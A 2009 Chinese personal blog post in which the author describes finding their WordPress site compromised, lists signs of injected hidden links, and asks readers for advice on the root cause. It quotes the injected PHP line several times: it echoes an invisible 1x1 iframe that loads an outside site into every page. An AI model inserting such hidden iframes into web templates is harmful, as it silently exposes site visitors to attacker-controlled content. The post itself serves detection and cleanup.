关于WordPress挂马|WordPress隐藏链接

周日, 7月 12, 2009

西小西小崩哈子~
今天发现另外一个站也被挂马咯，原来做网站还要临此大敌，修炼~
前面xixiaoxi.com被挂马，西小西并没有发现端倪啊，今天闲来无事，跟你卯卯，呵呵~

1. 相遇。

今天我打开网站的时候，发现明明网页已经打开了，内容也都显示了，可是网页还在加载，奇怪~
仔细一看，原来网页加载隐藏链接呢，网站被挂马了。
总结下来呢，应该至少有三种方法可以检查网页是否被挂马。

（1）友情链接检查。你没主动挂上去的，那就是马被~
（2）全选网页，检查下有无隐藏链接。一般来讲，挂马的会把字的颜色和你页面的颜色设置成一样，掩人耳目。
（3）网页加载慢。而且加载内容与你网页内容不符。

2. 初识。

首先我打包下载了网站的程序，然后根据修改日期发现index.php文件被修改了。

\index.php

\wp-admin\index.php

\wp-content\themes\default\index.php 不同主题的index.php都被修改了。

代码为：

echo “<iframe src=\”http://rabetis.net/?click=1125DEA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

位置为：

<?php get_footer();

echo “<iframe src=\”http://rabetis.net/?click=114222F\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

<?php get_footer();

echo “<iframe src=\”http://rabetis.net/?click=114222F\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

在初始的代码里红色部分是没有的。
我删除了以上index.php的代码，网站访问正常了。

3. 相约。

隐藏链接暂时性去除了，但是root cause并没有发现。挂马的人是如何获得权限的呢？
还有我发现，这个空间可以访问文件夹架构，马上联系IDC，看能禁止文件夹浏览不。
等待下一次被黑，只要黑的不是很彻底。

4. 求教。

路人甲路人乙叔叔大爷们啊，如果有克敌良方，尽请赐教，西小西在此谢过~

将反WordPress挂马|Wordpress隐藏链接进行到底！

Wordpress挂马

西小西 - who has written 435 posts on 西小西|xixiaoxi.com.

10 Comments For This Post

为什么喜欢挂你呢?

西小西|xixiaoxi.com